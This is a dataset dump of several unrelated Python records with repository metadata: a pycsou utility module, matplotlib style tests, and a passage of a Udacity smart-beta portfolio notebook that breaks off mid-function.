'start': 3, 'end': 18},\n  {'color_list': [2, 0, 1], 'start': 9, 'end': 12}),\n ({'color_list': [1, 0, 1, 0], 'start': 0, 'end': 19},\n  {'color_list': [2, 1, 0, 2], 'start': 3, 'end': 18},\n  {'color_list': [2, 0, 1], 'start': 9, 'end': 12}),\n ({'color_list': [1, 0], 'start': 0, 'end': 19},\n  {'color_list': [2, 1, 0, 2], 'start': 3, 'end': 18},\n  {'color_list': [2, 0, 1], 'start': 9, 'end': 13}),\n ({'color_list': [1, 0, 1], 'start': 0, 'end': 19},\n  {'color_list': [2, 1, 0, 2], 'start': 3, 'end': 18},\n  {'color_list': [2, 0, 1], 'start': 9, 'end': 13}),\n ({'color_list': [1, 0, 1, 0], 'start': 0, 'end': 19},\n  {'color_list': [2, 1, 0, 2], 'start': 3, 'end': 18},\n  {'color_list': [2, 0, 1], 'start': 9, 'end': 13}),\n ({'color_list': [1, 0], 'start': 0, 'end': 19},\n  {'color_list': [2, 1, 0, 2], 'start': 3, 'end': 18},\n  {'color_list': [2, 0, 1, 2], 'start': 9, 'end': 12}),\n ({'color_list': [1, 0, 1], 'start': 0, 'end': 19},\n  {'color_list': [2, 1, 0, 2], 'start': 3, 'end': 18},\n  {'color_list': [2, 0, 1, 2], 'start': 9, 'end': 12}),\n ({'color_list': [1, 0, 1, 0], 'start': 0, 'end': 19},\n  {'color_list': [2, 1, 0, 2], 'start': 3, 'end': 18},\n  {'color_list': [2, 0, 1, 2], 'start': 9, 'end': 12})]\n'''", "meta": {"hexsha": "2227fd678beac626327c37ec6287b7724102e11e", "size": 25080, "ext": "py", "lang": "Python", "max_stars_repo_path": "20210803/main_run.py", "max_stars_repo_name": "Brook1711/openda1", "max_stars_repo_head_hexsha": "1d67912083ecf60b04daa6d9cf377339d179b1aa", "max_stars_repo_licenses": ["Apache-2.0"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "20210803/main_run.py", "max_issues_repo_name": "Brook1711/openda1", "max_issues_repo_head_hexsha": "1d67912083ecf60b04daa6d9cf377339d179b1aa", "max_issues_repo_licenses": ["Apache-2.0"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "20210803/main_run.py", "max_forks_repo_name": "Brook1711/openda1", "max_forks_repo_head_hexsha": "1d67912083ecf60b04daa6d9cf377339d179b1aa", "max_forks_repo_licenses": ["Apache-2.0"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 38.0, "max_line_length": 213, "alphanum_fraction": 0.5925438596, "include": true, "reason": "import numpy", "num_tokens": 8490, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.4726834914771176, "lm_q2_score": 0.12940273494909915, "lm_q1q2_score": 0.061166536562428216}}
{"text": "# #############################################################################\n# misc.py\n# =======\n# Author : Matthieu Simeoni [matthieu.simeoni@gmail.com]\n# #############################################################################\n\nr\"\"\"\nMiscellaneous functions.\n\"\"\"\n\nfrom typing import Tuple, Optional\nimport numpy as np\nimport re\n\ndef is_range_broadcastable(shape1: Tuple[int, int], shape2: Tuple[int, int]) -> bool:\n    r\"\"\"\n    Check if two shapes satisfy Numpy's broadcasting rules.\n\n    Parameters\n    ----------\n    shape1: Tuple[int, int]\n    shape2: Tuple[int, int]\n\n    Returns\n    -------\n    bool\n         ``True`` if broadcastable, ``False`` otherwise.\n\n    Examples\n    --------\n\n    .. testsetup::\n\n       from pycsou.util.misc import is_range_broadcastable\n\n    .. doctest::\n\n       >>> is_range_broadcastable((3,2), (1,2))\n       True\n       >>> is_range_broadcastable((3,2), (4,2))\n       False\n    \"\"\"\n    if shape1[1] != shape2[1]:\n        return False\n    elif shape1[0] == shape2[0]:\n        return True\n    elif shape1[0] == 1 or shape2[0] == 1:\n        return True\n    else:\n        return False\n\n\ndef range_broadcast_shape(shape1: Tuple[int, int], shape2: Tuple[int, int]) -> Tuple[int, int]:\n    r\"\"\"\n    Given two shapes, determine broadcasting shape.\n\n    Parameters\n    ----------\n    shape1: Tuple[int, int]\n    shape2: Tuple[int, int]\n\n    Returns\n    -------\n    Tuple[int, int]\n        Broadcasting shape.\n\n    Raises\n    ------\n    ValueError\n        If the two shapes cannot be broadcasted.\n\n    Examples\n    --------\n\n    .. testsetup::\n\n       from pycsou.util.misc import range_broadcast_shape\n\n    .. doctest::\n\n       >>> range_broadcast_shape((3,2), (1,2))\n       (3, 2)\n\n    \"\"\"\n    if not is_range_broadcastable(shape1, shape2):\n        raise ValueError('Shapes are not (range) broadcastable.')\n    shape = tuple(np.fmax(shape1, shape2).tolist())\n    return shape\n\n\ndef peaks(x: np.ndarray, y: np.ndarray) -> np.ndarray:\n    r\"\"\"\n    Matlab 2D peaks function.\n\n    Peaks is a function of two variables, obtained by translating and scaling Gaussian distributions (see `Matlab's peaks function <https://www.mathworks.com/help/matlab/ref/peaks.html>`).\n    This function is useful for testing purposes.\n\n    Parameters\n    ----------\n    x: np.ndarray\n        X coordinates.\n    y: np.ndarray\n        Y coordinates.\n\n    Returns\n    -------\n    np.ndarray\n        Values of the 2D function ``peaks`` at the points specified by the entries of ``x`` and ``y``.\n\n    Examples\n    --------\n    .. plot::\n\n       import numpy as np\n       import matplotlib.pyplot as plt\n       from pycsou.util.misc import peaks\n\n       x = np.linspace(-3,3, 1000)\n       X,Y = np.meshgrid(x,x)\n       Z = peaks(X,Y)\n       plt.figure()\n       plt.imshow(Z)\n\n    \"\"\"\n    z = 3 * ((1 - x) ** 2) * np.exp(-(x ** 2) - (y + 1) ** 2) - 10 * (x / 5 - x ** 3 - y ** 5) * np.exp(\n        -x ** 2 - y ** 2) - (1 / 3) * np.exp(-(x + 1) ** 2 - y ** 2)\n    return z\n\n\ndef beamer2rst(input_file, output_file: Optional[str] = None):\n    if output_file is None:\n        output_file = f'{input_file.split(\".\")[0]}.rst'\n    with open(output_file, 'w') as out_file:\n        with open(input_file, 'r') as in_file:\n            file_content = in_file.read()\n        frames = re.findall(r'\\\\begin\\{frame\\}(.*?)\\\\end\\{frame\\}', file_content, flags=re.DOTALL)\n        for frame in frames:\n            frame = re.sub(r'\\$\\$(?P<EQ>.*?)\\$\\$', r'\\n.. math::\\n\\n   \\g<EQ>', frame, flags=re.DOTALL)\n            frame = re.sub(r'\\$(?P<EQ>.*?)\\$', r':math:`\\g<EQ>`', frame, flags=re.DOTALL)\n            frame = re.sub(r'\\\\begin\\{equation\\}(?P<EQ>.*?)\\\\end\\{equation\\}', r'\\n.. math::\\n\\n   \\g<EQ>\\n', frame,\n                           flags=re.DOTALL)\n            frame = re.sub(r'\\\\begin\\{equation\\*\\}(?P<EQ>.*?)\\\\end\\{equation\\*\\}', r'\\n.. math::\\n\\n   \\g<EQ>\\n', frame,\n                           flags=re.DOTALL)\n            frame = re.sub(r'\\\\begin\\{align\\*\\}(?P<EQ>.*?)\\\\end\\{align\\*\\}', r'\\n.. math::\\n\\n   \\g<EQ>\\n', frame,\n                           flags=re.DOTALL)\n            frame = re.sub(r'\\\\begin\\{align\\}(?P<EQ>.*?)\\\\end\\{align\\}', r'\\n.. math::\\n\\n   \\g<EQ>\\n', frame,\n                           flags=re.DOTALL)\n            frame = re.sub(r'\\\\begin\\{itemize\\}(?P<items>.*?)\\\\end\\{itemize\\}', r'\\n\\g<items>\\n', frame,\n                           flags=re.DOTALL)\n            frame = re.sub(r'\\\\begin\\{enumerate\\}(?P<items>.*?)\\\\end\\{enumerate\\}', r'\\n\\g<items>\\n', frame,\n                           flags=re.DOTALL)\n            frame = re.sub(r'\\\\item\\s*(?P<item>\\S.*?)', r'* \\g<item>', frame,\n                           flags=re.DOTALL)\n            frame = re.sub(r'\\\\cite\\[(?P<details>.*?)\\]\\{(?P<citation>.*?)\\}', r'\\g<details> of [\\g<citation>]_',\n                           frame,\n                           flags=re.DOTALL)\n            frame = re.sub(r'\\\\(?P<symbol>[a-zA-Z])cal', r'\\\\mathcal{\\g<symbol>}', frame)\n            frame = re.sub(r'\\\\(?P<symbol>[a-zA-Z])scr', r'\\\\mathcal{\\g<symbol>}', frame)\n            frame = re.sub(r'\\\\(?P<symbol>[a-zA-Z])bf', r'\\\\mathbf{\\g<symbol>}', frame)\n            frame = re.sub(r'\\\\(?P<symbol>[a-zA-Z])bb', r'\\\\mathbb{\\g<symbol>}', frame)\n            frame = re.sub(r'\\\\bb(?P<symbol>[a-zA-Z])', r'\\\\mathbf{\\g<symbol>}', frame)\n            frame = re.sub(r'\\\\R', r'\\\\mathbb{R}', frame)\n            frame = re.sub(r'\\\\N', r'\\\\mathbb{N}', frame)\n            frame = re.sub(r'\\\\Q', r'\\\\mathbb{Q}', frame)\n            frame = re.sub(r'\\\\bm\\{(?P<symbol>.*?)\\}', r'\\\\mathbf{\\g<symbol>}', frame)\n            frame = re.sub(r'\\\\emph\\{(?P<expression>.*?)\\}', r'*\\g<expression>*', frame)\n            frame = re.sub(r'\\\\textbf\\{(?P<expression>.*?)\\}', r'**\\g<expression>**', frame)\n            frame = re.sub(r'(\\\\green|\\\\blue|\\\\red|\\\\orange|\\\\purple)\\{(?P<expression>.*?)\\}', r'\\g<expression>',\n                           frame)\n            out_file.write(frame)\n\n\nif __name__ == '__main__':\n    beamer2rst('pycsou/util/part1.tex')\n", "meta": {"hexsha": "52b8f4be6e54636790d25af4ebddf35f0f90fda7", "size": 5977, "ext": "py", "lang": "Python", "max_stars_repo_path": "pycsou/util/misc.py", "max_stars_repo_name": "ebezzam/pycsou", "max_stars_repo_head_hexsha": "25b69fa69134b3f1e3b9cf114844082186e04073", "max_stars_repo_licenses": ["MIT"], "max_stars_count": 36, "max_stars_repo_stars_event_min_datetime": "2021-02-01T16:49:09.000Z", "max_stars_repo_stars_event_max_datetime": "2022-03-16T11:40:45.000Z", "max_issues_repo_path": "pycsou/util/misc.py", "max_issues_repo_name": "ebezzam/pycsou", "max_issues_repo_head_hexsha": "25b69fa69134b3f1e3b9cf114844082186e04073", "max_issues_repo_licenses": ["MIT"], "max_issues_count": 11, "max_issues_repo_issues_event_min_datetime": "2021-05-10T13:35:05.000Z", "max_issues_repo_issues_event_max_datetime": "2022-03-15T08:12:33.000Z", "max_forks_repo_path": "pycsou/util/misc.py", "max_forks_repo_name": "ebezzam/pycsou", "max_forks_repo_head_hexsha": "25b69fa69134b3f1e3b9cf114844082186e04073", "max_forks_repo_licenses": ["MIT"], "max_forks_count": 9, "max_forks_repo_forks_event_min_datetime": "2021-02-22T14:40:21.000Z", "max_forks_repo_forks_event_max_datetime": "2022-02-02T01:11:54.000Z", "avg_line_length": 34.1542857143, "max_line_length": 188, "alphanum_fraction": 0.500083654, "include": true, "reason": "import numpy", "num_tokens": 1747, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.47268347662043286, "lm_q2_score": 0.12940272487671914, "lm_q1q2_score": 0.061166529878884976}}
{"text": "import pytest\nimport matplotlib.pyplot as plt\nimport numpy as np\n\n# The following tests work for all three themes as these tests are scanning through the elements within the themes\n# but the framework of three themes remain the same.\n\n# Creating random data for test plot \nN = 500\nx = np.random.rand(N)\ny = np.random.rand(N)\nz = np.random.rand(N)\ncolors = (0,0,0)\narea = np.pi*3\n \n# Plotting a scatterplot with parameters to test \nplt.scatter(x, y, c=\"red\", alpha=0.5, label = \"y\")\nplt.scatter(x, z, c=\"blue\", alpha=0.5, label = \"z\")\nplt.legend(loc=\"upper right\",title = \"hi\")\nplt.rcParams['axes.facecolor']= \"white\"\nplt.rcParams['axes.titlesize'] = 20\nplt.rcParams['axes.edgecolor'] = \"black\" \nplt.rcParams['legend.fontsize'] = 12\nplt.rcParams[\"legend.title_fontsize\"] = 12\nplt.rcParams[\"legend.facecolor\"] = \"white\"\nplt.rcParams[\"figure.facecolor\"] = \"green\"\nplt.rcParams[\"axes.labelsize\"] = 20\nplt.rcParams[\"scatter.marker\"] = \"*\"\nplt.title('Testing Graph')\nplt.xlabel(\"X\") \nplt.ylabel(\"Y\")\nplt.show()\nplt.close()\n\n\n\ndef test_facecolor():\n    ''' A function that checks the face colour of the plot background  '''\n    \n    assert plt.rcParams['axes.facecolor'] == \"white\"  \n\n\ndef test_title_size():\n    '''A function that checks that the title font size of a graph '''\n    \n    assert plt.rcParams['axes.titlesize'] == 20 \n\n    \ndef test_legend_fontsize():    \n    ''''A function that checks that the font size of the legend title of a graph  '''\n    \n    assert plt.rcParams['legend.fontsize'] == 12 \n\n    \ndef test_legend_facecolor():   \n    ''' 'A function that checks the legend face colour of a graph '''\n    \n    assert plt.rcParams[\"legend.facecolor\"] == \"white\"  \n\n    \ndef test_figure_facecolor():    \n    ''' A function that checks the plot's surrounding colour of a graph ''' \n    \n    assert plt.rcParams[\"figure.facecolor\"] == \"green\" \n\n    \ndef test_axes_labelsize():    \n    ''' A function that checks the label fond size of the axis titles'''\n    \n    assert plt.rcParams[\"axes.labelsize\"] == 20 \n\n\ndef test_scatter_marker():    \n    '''A function that checks the shape of the scatter points '''\n    \n    assert plt.rcParams[\"scatter.marker\"] == \"*\"  \n\n\n# Fails expected \n\n\ndef test_axes_edgecolor():    \n    ''' A function that checks the edge colours of the axis  '''\n    \n    assert plt.rcParams['axes.edgecolor'] == \"blue\"  \n  \n    \ndef test_legend_fontsize_neg():    \n    ''' A function that tests the label font size of the axis titles, that should fail''' \n    \n    assert plt.rcParams['axes.labelsize'] == 1 \n\n\ndef test_legend_title_fontsize():    \n    ''' A test that checks the title font size of legend '''\n    \n    assert plt.rcParams[\"legend.title_fontsize\"] == 45 \n    \ndef test_title_size_neg():\n    '''A test that checks that the title font size of a graph, that should fail  '''\n     \n    assert plt.rcParams['axes.titlesize'] == 18 \n\n", "meta": {"hexsha": "54b91b046ff1c0ed25dd42dce180e15183eaf776", "size": 2871, "ext": "py", "lang": "Python", "max_stars_repo_path": "colourblind8/tests/tests.py", "max_stars_repo_name": "UBC-MDS/DSCI524-Colourblind8", "max_stars_repo_head_hexsha": "e140ca31d3773eaa3692403ac8f9045f0f254873", "max_stars_repo_licenses": ["MIT"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "colourblind8/tests/tests.py", "max_issues_repo_name": "UBC-MDS/DSCI524-Colourblind8", "max_issues_repo_head_hexsha": "e140ca31d3773eaa3692403ac8f9045f0f254873", "max_issues_repo_licenses": ["MIT"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "colourblind8/tests/tests.py", "max_forks_repo_name": "UBC-MDS/DSCI524-Colourblind8", "max_forks_repo_head_hexsha": "e140ca31d3773eaa3692403ac8f9045f0f254873", "max_forks_repo_licenses": ["MIT"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 27.6057692308, "max_line_length": 114, "alphanum_fraction": 0.6638801811, "include": true, "reason": "import numpy", "num_tokens": 700, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.41869690935568665, "lm_q2_score": 0.14608724518943894, "lm_q1q2_score": 0.061166278057104485}}
{"text": "#!/usr/bin/env python\n# coding: utf-8\n\n# # Project 3: Smart Beta Portfolio and Portfolio Optimization\n# \n# ## Overview\n# \n# \n# Smart beta has a broad meaning, but we can say in practice that when we use the universe of stocks from an index, and then apply some weighting scheme other than market cap weighting, it can be considered a type of smart beta fund.  A Smart Beta portfolio generally gives investors exposure or \"beta\" to one or more types of market characteristics (or factors) that are believed to predict prices while giving investors a diversified broad exposure to a particular market. Smart Beta portfolios generally target momentum, earnings quality, low volatility, and dividends or some combination. Smart Beta Portfolios are generally rebalanced infrequently and follow relatively simple rules or algorithms that are passively managed.  Model changes to these types of funds are also rare requiring prospectus filings with US Security and Exchange Commission in the case of US focused mutual funds or ETFs.. Smart Beta portfolios are generally long-only, they do not short stocks.\n# \n# In contrast, a purely alpha-focused quantitative fund may use multiple models or algorithms to create a portfolio. The portfolio manager retains discretion in upgrading or changing the types of models and how often to rebalance the portfolio in attempt to maximize performance in comparison to a stock benchmark.  Managers may have discretion to short stocks in portfolios.\n# \n# Imagine you're a portfolio manager, and wish to try out some different portfolio weighting methods.\n# \n# One way to design portfolio is to look at certain accounting measures (fundamentals) that, based on past trends, indicate stocks that produce better results.  \n# \n# \n# For instance, you may start with a hypothesis that dividend-issuing stocks tend to perform better than stocks that do not. This may not always be true of all companies; for instance, Apple does not issue dividends, but has had good historical performance.  The hypothesis about dividend-paying stocks may go something like this: \n# \n# Companies that regularly issue dividends may also be more prudent in allocating their available cash, and may indicate that they are more conscious of prioritizing shareholder interests.  For example, a CEO may decide to reinvest cash into pet projects that produce low returns.  Or, the CEO may do some analysis, identify that reinvesting within the company produces lower returns compared to a diversified portfolio, and so decide that shareholders would be better served if they were given the cash (in the form of dividends).  So according to this hypothesis, dividends may be both a proxy for how the company is doing (in terms of earnings and cash flow), but also a signal that the company acts in the best interest of its shareholders.  Of course, it's important to test whether this works in practice.\n# \n# \n# You may also have another hypothesis, with which you wish to design a portfolio that can then be made into an ETF.  You may find that investors may wish to invest in passive beta funds, but wish to have less risk exposure (less volatility) in their investments.  The goal of having a low volatility fund that still produces returns similar to an index may be appealing to investors who have a shorter investment time horizon, and so are more risk averse.\n# \n# So the objective of your proposed portfolio is to design a portfolio that closely tracks an index, while also minimizing the portfolio variance.  Also, if this portfolio can match the returns of the index with less volatility, then it has a higher risk-adjusted return (same return, lower volatility).\n# \n# Smart Beta ETFs can be designed with both of these two general methods (among others): alternative weighting and minimum volatility ETF.\n# \n# \n# ## Instructions\n# Each problem consists of a function to implement and instructions on how to implement the function.  The parts of the function that need to be implemented are marked with a `# TODO` comment. After implementing the function, run the cell to test it against the unit tests we've provided. For each problem, we provide one or more unit tests from our `project_tests` package. These unit tests won't tell you if your answer is correct, but will warn you of any major errors. Your code will be checked for the correct solution when you submit it to Udacity.\n# \n# ## Packages\n# When you implement the functions, you'll only need to you use the packages you've used in the classroom, like [Pandas](https://pandas.pydata.org/) and [Numpy](http://www.numpy.org/). These packages will be imported for you. We recommend you don't add any import statements, otherwise the grader might not be able to run your code.\n# \n# The other packages that we're importing are `helper`, `project_helper`, and `project_tests`. These are custom packages built to help you solve the problems.  The `helper` and `project_helper` module contains utility functions and graph functions. The `project_tests` contains the unit tests for all the problems.\n# ### Install Packages\n\n# In[1]:\n\n\nimport sys\nget_ipython().system('{sys.executable} -m pip install -r requirements.txt')\n\n\n# In[2]:\n\n\nimport pandas as pd\nimport numpy as np\nimport helper\nimport project_helper\nimport project_tests\n\n\n# \n# ### Load Packages\n\n# ## Market Data\n# ### Load Data\n# For this universe of stocks, we'll be selecting large dollar volume stocks. We're using this universe, since it is highly liquid.\n\n# In[3]:\n\n\ndf = pd.read_csv('../../data/project_3/eod-quotemedia.csv')\n\npercent_top_dollar = 0.2\nhigh_volume_symbols = project_helper.large_dollar_volume_stocks(df, 'adj_close', 'adj_volume', percent_top_dollar)\ndf = df[df['ticker'].isin(high_volume_symbols)]\n\nclose = df.reset_index().pivot(index='date', columns='ticker', values='adj_close')\nvolume = df.reset_index().pivot(index='date', columns='ticker', values='adj_volume')\ndividends = df.reset_index().pivot(index='date', columns='ticker', values='dividends')\n\n\n# ### View Data\n# To see what one of these 2-d matrices looks like, let's take a look at the closing prices matrix.\n\n# In[4]:\n\n\nproject_helper.print_dataframe(close)\n\n\n# # Part 1: Smart Beta Portfolio\n# In Part 1 of this project, you'll build a portfolio using dividend yield to choose the portfolio weights. A portfolio such as this could be incorporated into a smart beta ETF.  You'll compare this portfolio to a market cap weighted index to see how well it performs. \n# \n# Note that in practice, you'll probably get the index weights from a data vendor (such as companies that create indices, like MSCI, FTSE, Standard and Poor's), but for this exercise we will simulate a market cap weighted index.\n# \n# ## Index Weights\n# The index we'll be using is based on large dollar volume stocks. Implement `generate_dollar_volume_weights` to generate the weights for this index. For each date, generate the weights based on dollar volume traded for that date. For example, assume the following is close prices and volume data:\n# ```\n#                  Prices\n#                A         B         ...\n# 2013-07-08     2         2         ...\n# 2013-07-09     5         6         ...\n# 2013-07-10     1         2         ...\n# 2013-07-11     6         5         ...\n# ...            ...       ...       ...\n# \n#                  Volume\n#                A         B         ...\n# 2013-07-08     100       340       ...\n# 2013-07-09     240       220       ...\n# 2013-07-10     120       500       ...\n# 2013-07-11     10        100       ...\n# ...            ...       ...       ...\n# ```\n# The weights created from the function `generate_dollar_volume_weights` should be the following:\n# ```\n#                A         B         ...\n# 2013-07-08     0.126..   0.194..   ...\n# 2013-07-09     0.759..   0.377..   ...\n# 2013-07-10     0.075..   0.285..   ...\n# 2013-07-11     0.037..   0.142..   ...\n# ...            ...       ...       ...\n# ```\n\n# In[5]:\n\n\ndef generate_dollar_volume_weights(close, volume):\n    \"\"\"\n    Generate dollar volume weights.\n\n    Parameters\n    ----------\n    close : DataFrame\n        Close price for each ticker and date\n    volume : str\n        Volume for each ticker and date\n\n    Returns\n    -------\n    dollar_volume_weights : DataFrame\n        The dollar volume weights for each ticker and date\n    \"\"\"\n    \n    product = close*volume \n    \n    \n        \n    weights=product.apply(lambda r : r/sum(r),axis=1)  \n    \n    assert close.index.equals(volume.index)\n    assert close.columns.equals(volume.columns)\n    \n    #TODO: Implement function\n\n    return weights\n\nproject_tests.test_generate_dollar_volume_weights(generate_dollar_volume_weights)\n\n\n# ### View Data\n# Let's generate the index weights using `generate_dollar_volume_weights` and view them using a heatmap.\n\n# In[6]:\n\n\nindex_weights = generate_dollar_volume_weights(close, volume)\nproject_helper.plot_weights(index_weights, 'Index Weights')\n\n\n# ## Portfolio Weights\n# Now that we have the index weights, let's choose the portfolio weights based on dividend. You would normally calculate the weights based on trailing dividend yield, but we'll simplify this by just calculating the total dividend yield over time.\n# \n# Implement `calculate_dividend_weights` to return the weights for each stock based on its total dividend yield over time. This is similar to generating the weight for the index, but it's using dividend data instead.\n# For example, assume the following is `dividends` data:\n# ```\n#                  Prices\n#                A         B\n# 2013-07-08     0         0\n# 2013-07-09     0         1\n# 2013-07-10     0.5       0\n# 2013-07-11     0         0\n# 2013-07-12     2         0\n# ...            ...       ...\n# ```\n# The weights created from the function `calculate_dividend_weights` should be the following:\n# ```\n#                A         B\n# 2013-07-08     NaN       NaN\n# 2013-07-09     0         1\n# 2013-07-10     0.333..   0.666..\n# 2013-07-11     0.333..   0.666..\n# 2013-07-12     0.714..   0.285..\n# ...            ...       ...\n# ```\n\n# In[7]:\n\n\ndef calculate_dividend_weights(dividends):\n    \n    \"\"\"\n    Calculate dividend weights.\n\n    Parameters\n    ----------\n    dividends : DataFrame\n        Dividend for each stock and date\n\n    Returns\n    -------\n    dividend_weights : DataFrame\n        Weights for each stock and date\n    \"\"\"\n    #TODO: Implement function\n    divs=dividends.copy()\n\n    weights_r=divs.cumsum()\n    \n    weights=weights_r.apply((lambda x: x/sum(x)),axis=1)\n    return weights\n\nproject_tests.test_calculate_dividend_weights(calculate_dividend_weights)\n\n\n# ### View Data\n# Just like the index weights, let's generate the ETF weights and view them using a heatmap.\n\n# In[8]:\n\n\netf_weights = calculate_dividend_weights(dividends)\nproject_helper.plot_weights(etf_weights, 'ETF Weights')\n\n\n# ## Returns\n# Implement `generate_returns` to generate returns data for all the stocks and dates from price data. You might notice we're implementing returns and not log returns. Since we're not dealing with volatility, we don't have to use log returns.\n\n# In[9]:\n\n\ndef generate_returns(prices):\n    \"\"\"\n    Generate returns for ticker and date.\n\n    Parameters\n    ----------\n    prices : DataFrame\n        Price for each ticker and date\n\n    Returns\n    -------\n    returns : Dataframe\n        The returns for each ticker and date\n    \"\"\"\n    r=prices.copy()\n    \n    d=r.shift(1)\n    \n    returns=(r-d)/d\n    \n    \n    #TODO: Implement function\n\n    return returns\n\nproject_tests.test_generate_returns(generate_returns)\n\n\n# ### View Data\n# Let's generate the closing returns using `generate_returns` and view them using a heatmap.\n\n# In[10]:\n\n\nreturns = generate_returns(close)\nproject_helper.plot_returns(returns, 'Close Returns')\n\n\n# ## Weighted Returns\n# With the returns of each stock computed, we can use it to compute the returns for an index or ETF. Implement `generate_weighted_returns` to create weighted returns using the returns and weights.\n\n# In[11]:\n\n\ndef generate_weighted_returns(returns, weights):\n    \"\"\"\n    Generate weighted returns.\n\n    Parameters\n    ----------\n    returns : DataFrame\n        Returns for each ticker and date\n    weights : DataFrame\n        Weights for each ticker and date\n\n    Returns\n    -------\n    weighted_returns : DataFrame\n        Weighted returns for each ticker and date\n    \"\"\"\n    weighted_returns=returns*weights\n    \n    assert returns.index.equals(weights.index)\n    assert returns.columns.equals(weights.columns)\n    \n    #TODO: Implement function\n\n    return weighted_returns\n\nproject_tests.test_generate_weighted_returns(generate_weighted_returns)\n\n\n# ### View Data\n# Let's generate the ETF and index returns using `generate_weighted_returns` and view them using a heatmap.\n\n# In[12]:\n\n\nindex_weighted_returns = generate_weighted_returns(returns, index_weights)\netf_weighted_returns = generate_weighted_returns(returns, etf_weights)\nproject_helper.plot_returns(index_weighted_returns, 'Index Returns')\nproject_helper.plot_returns(etf_weighted_returns, 'ETF Returns')\n\n\n# ## Cumulative Returns\n# To compare performance between the ETF and Index, we're going to calculate the tracking error. Before we do that, we first need to calculate the index and ETF comulative returns. Implement `calculate_cumulative_returns` to calculate the cumulative returns over time given the returns.\n\n# In[13]:\n\n\ndef calculate_cumulative_returns(returns):\n    \"\"\"\n    Calculate cumulative returns.\n\n    Parameters\n    ----------\n    returns : DataFrame\n        Returns for each ticker and date\n\n    Returns\n    -------\n    cumulative_returns : Pandas Series\n        Cumulative returns for each date\n    \"\"\"\n    r=returns.sum(axis=1)\n    ret=r.apply(lambda x: x+1)\n    cum_ret=ret.cumprod()\n    #TODO: Implement function\n    \n    return cum_ret\n\nproject_tests.test_calculate_cumulative_returns(calculate_cumulative_returns)\n\n\n# ### View Data\n# Let's generate the ETF and index cumulative returns using `calculate_cumulative_returns` and compare the two.\n\n# In[14]:\n\n\nindex_weighted_cumulative_returns = calculate_cumulative_returns(index_weighted_returns)\netf_weighted_cumulative_returns = calculate_cumulative_returns(etf_weighted_returns)\nproject_helper.plot_benchmark_returns(index_weighted_cumulative_returns, etf_weighted_cumulative_returns, 'Smart Beta ETF vs Index')\n\n\n# ## Tracking Error\n# In order to check the performance of the smart beta portfolio, we can calculate the annualized tracking error against the index. Implement `tracking_error` to return the tracking error between the ETF and benchmark.\n# \n# For reference, we'll be using the following annualized tracking error function:\n# $$ TE = \\sqrt{252} * SampleStdev(r_p - r_b) $$\n# \n# Where $ r_p $ is the portfolio/ETF returns and $ r_b $ is the benchmark returns.\n# \n# _Note: When calculating the sample standard deviation, the delta degrees of freedom is 1, which is the also the default value._\n\n# In[15]:\n\n\ndef tracking_error(benchmark_returns_by_date, etf_returns_by_date):\n    \"\"\"\n    Calculate the tracking error.\n\n    Parameters\n    ----------\n    benchmark_returns_by_date : Pandas Series\n        The benchmark returns for each date\n    etf_returns_by_date : Pandas Series\n        The ETF returns for each date\n\n    Returns\n    -------\n    tracking_error : float\n        The tracking error\n    \"\"\"\n    series_ret=(etf_returns_by_date)-(benchmark_returns_by_date)\n    stdev=series_ret.std()\n    Tracking_error=np.sqrt(252)*stdev\n    assert benchmark_returns_by_date.index.equals(etf_returns_by_date.index)\n    \n    #TODO: Implement function\n\n    return Tracking_error\n\nproject_tests.test_tracking_error(tracking_error)\n\n\n# ### View Data\n# Let's generate the tracking error using `tracking_error`.\n\n# In[16]:\n\n\nsmart_beta_tracking_error = tracking_error(np.sum(index_weighted_returns, 1), np.sum(etf_weighted_returns, 1))\nprint('Smart Beta Tracking Error: {}'.format(smart_beta_tracking_error))\n\n\n# # Part 2: Portfolio Optimization\n# \n# Now, let's create a second portfolio.  We'll still reuse the market cap weighted index, but this will be independent of the dividend-weighted portfolio that we created in part 1.\n# \n# We want to both minimize the portfolio variance and also want to closely track a market cap weighted index.  In other words, we're trying to minimize the distance between the weights of our portfolio and the weights of the index.\n# \n# $Minimize \\left [ \\sigma^2_p + \\lambda \\sqrt{\\sum_{1}^{m}(weight_i - indexWeight_i)^2} \\right  ]$ where $m$ is the number of stocks in the portfolio, and $\\lambda$ is a scaling factor that you can choose.\n# \n# Why are we doing this? One way that investors evaluate a fund is by how well it tracks its index. The fund is still expected to deviate from the index within a certain range in order to improve fund performance.  A way for a fund to track the performance of its benchmark is by keeping its asset weights similar to the weights of the index.  We\u2019d expect that if the fund has the same stocks as the benchmark, and also the same weights for each stock as the benchmark, the fund would yield about the same returns as the benchmark. By minimizing a linear combination of both the portfolio risk and distance between portfolio and benchmark weights, we attempt to balance the desire to minimize portfolio variance with the goal of tracking the index.\n# \n# \n# ## Covariance\n# Implement `get_covariance_returns` to calculate the covariance of the `returns`. We'll use this to calculate the portfolio variance.\n# \n# If we have $m$ stock series, the covariance matrix is an $m \\times m$ matrix containing the covariance between each pair of stocks.  We can use [`Numpy.cov`](https://docs.scipy.org/doc/numpy/reference/generated/numpy.cov.html) to get the covariance.  We give it a 2D array in which each row is a stock series, and each column is an observation at the same period of time. For any `NaN` values, you can replace them with zeros using the [`DataFrame.fillna`](https://pandas.pydata.org/pandas-docs/stable/generated/pandas.DataFrame.fillna.html) function.\n# \n# The covariance matrix $\\mathbf{P} = \n# \\begin{bmatrix}\n# \\sigma^2_{1,1} & ... & \\sigma^2_{1,m} \\\\ \n# ... & ... & ...\\\\\n# \\sigma_{m,1} & ... & \\sigma^2_{m,m}  \\\\\n# \\end{bmatrix}$\n\n# In[17]:\n\n\ndef 